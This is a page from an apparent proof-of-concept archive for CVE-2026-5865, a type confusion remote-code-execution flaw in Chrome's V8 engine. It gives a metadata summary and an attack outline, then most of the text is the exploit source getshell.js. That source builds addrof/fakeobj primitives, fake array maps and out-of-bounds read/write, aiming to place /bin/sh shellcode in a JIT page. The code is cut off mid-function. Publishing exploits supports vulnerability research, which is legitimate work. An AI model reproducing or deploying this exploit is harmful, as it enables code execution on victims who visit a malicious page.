PoC Archive PoC Archive
CVE-2026-5865 category: binary CVSS 8.8 (HIGH)
Unverified

Chrome V8 Type Confusion RCE (CVE-2026-5865)

Published: 2026-09-03 • Researcher: Nebula Security (NebuSec / CyberMeowfia)

Target software Google Chrome (V8 JavaScript engine)
Affected versions Chrome versions prior to patch
Status PoC
Severity High · CVSS 8.8
CVSS 8.8/10
Severity
High
CVE
CVE-2026-5865
Category
binary
Affected product
Google Chrome (V8 JavaScript engine)
Affected versions
Chrome versions prior to patch
Disclosed
2026-09-03
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-09-03
Author / ResearcherNebula Security (NebuSec / CyberMeowfia)
CVE / AdvisoryCVE-2026-5865
Categorybinary
SeverityHigh
CVSS Score8.8
StatusPoC
TagsRCE, Chrome, V8, type confusion, JavaScript

Affected Target

FieldValue
Software / SystemGoogle Chrome (V8 JavaScript engine)
Versions AffectedChrome versions prior to patch
Language / PlatformJavaScript
Authentication RequiredNo
Network Access RequiredYes (victim visits attacker-controlled page)

Summary

CVE-2026-5865 is a type confusion vulnerability in the V8 JavaScript engine used by Google Chrome. Nebula Security developed a proof-of-concept exploit that leverages a JIT compiler optimization flaw to achieve arbitrary read/write in the renderer process, ultimately overwriting a JIT code page with shellcode to spawn a shell. The exploit manipulates V8 object maps and backing store pointers to construct fake arrays for out-of-bounds memory access.

Vulnerability Details

Root Cause

A type confusion in V8 JIT-compiled code allows an attacker to confuse object map types during optimized compilation. By carefully crafting object transitions through the blah() function, the exploit tricks the compiler into treating a packed elements array with an incorrect map, enabling out-of-bounds read/write via fake array backing stores.

Attack Vector

A victim navigates to a malicious webpage containing the exploit JavaScript. The exploit:

  1. Triggers JIT compilation of a carefully crafted function to induce type confusion
  2. Uses the confusion to build arbitrary read/write primitives via fake packed-double arrays
  3. Walks the V8 heap to locate the PartitionAlloc base, code pointer table, and a JIT code object
  4. Finds the RWX (read-write-execute) page backing the JIT code
  5. Writes execve("/bin/sh") shellcode into the RWX page
  6. Calls the JIT function again to execute the shellcode

Impact

Remote code execution in the Chrome renderer sandbox. An attacker can execute arbitrary commands in the context of the renderer process. A sandbox escape would be needed for full system compromise.

References

Notes

Auto-ingested from https://github.com/NebuSec/CyberMeowfia on 2026-09-03.

getshell.js
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
print("[*] Exploit by Nebula Security");

const MAX_SMI = 1073741823;

var arr_buf = new ArrayBuffer(8);
var arr_buf2 = new ArrayBuffer(8);
var f64_arr = new Float64Array(arr_buf);
var b64_arr = new BigInt64Array(arr_buf);
let u32_arr = new Uint32Array(arr_buf);
function ftoi(f) {
    f64_arr[0] = f;
    return b64_arr[0];
}
function itof(i) {
    b64_arr[0] = i;
    return f64_arr[0];
}
function smi(i) {
    return i << 1n;
}
function hex(i) {
    return "0x" + i.toString(16);
}

function blah(o, a, b, x) {
    let y;
    if (a) {
        y = x + 1;
    } else {
        y = 1;
    }

    const t = y | 0;

    let z;
    if (b) {
        z = y;
    } else {
        z = 1;
    }

    o.x = z;
    return t;
}

const MARKER = 2261622.5098039214;
const obj = { x: 1 };
const warmup = { x: 1 }

const n = 0x100000;
const backing = new Array(n).fill(13.37);
const packed_double_map = 0x0100d0d5n;
const packed_map = 0x0100d15dn;
const fake_packed_double0 = itof(packed_map | (0x000007e5n << 32n))
const fake_length = 0x2n;
const fake_backing = 0x01540011n + 0x10n;
const fake_packed_double1 = itof(fake_backing | (fake_length << 33n))
backing[1] = itof(0x000005ddn | (fake_length << 33n));

const arbwrite_addr = 0xcccccccccccccccc;
backing[0x10] = itof(0x000007e501010e75n);
backing[0x11] = itof(0x00000000000007e5n);
backing[0x12] = itof(0x0000010000000000n);
backing[0x13] = itof(0x0000010000000000n);
backing[0x14] = itof(0xcccccccc00000000n);
backing[0x15] = itof(0x00000000ccccccccn)
backing[0x16] = itof(0x0000000000000000n)

const fake_length1 = 0x25788785n;
const fake_backing1 = 0x01540011n + 0x120n;
backing[0x20] = itof(packed_double_map | (0x000007e5n << 32n));
backing[0x21] = itof(fake_backing1 | (fake_length1 << 33n))
backing[0x23] = itof(0x00000939n | (fake_length1 << 33n));

for (let i = 0; i < 4; i++) {
    gc();
}

% PrepareFunctionForOptimization(blah);
for (let i = 0; i < 2000; i++) {
    blah(warmup, true, true, i & 1023);
    blah(warmup, false, true, i & 1023);
    blah(warmup, true, false, i & 1023);
}

% OptimizeMaglevOnNextCall(blah);
blah(warmup, true, true, 7);
blah(obj, true, true, MAX_SMI);
gc({ type: "major" });

function make_arr() {
    return [
        4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314,
    ]
}

for (let round = 0; round < 120; round++) {
    const tmp = [];
    for (let i = 0; i < 20; i++) {
        tmp.push(make_arr())
    }
}

obj.x[0] = print
obj.x[1] = print

function addrof_cage(v) {
    backing[2] = 0;
    obj.x[0] = v;
    return ftoi(backing[2]);
}

function fakeobj(cage_addr) {
    backing[2] = itof(cage_addr);
    return obj.x[0];
}

const arbwrite_arraybuf = fakeobj(0x01540099n);
const arbwrite_dv = new DataView(arbwrite_arraybuf);
const oob_array = fakeobj(0x01540011n + 0x108n);

print("[+] oob array length: " + hex(oob_array.length));

function read_arr(arr, idx) {
    return arr[idx];
}

% PrepareFunctionForOptimization(read_arr);
read_arr(oob_array, 1);
% OptimizeMaglevOnNextCall(read_arr);
read_arr(oob_array, 1);

function swap_buf_ptr(ptr) {
    const val0 = ((0xffffffff_00000000n & (ptr << 32n))) | (0x00000000_00000000n)
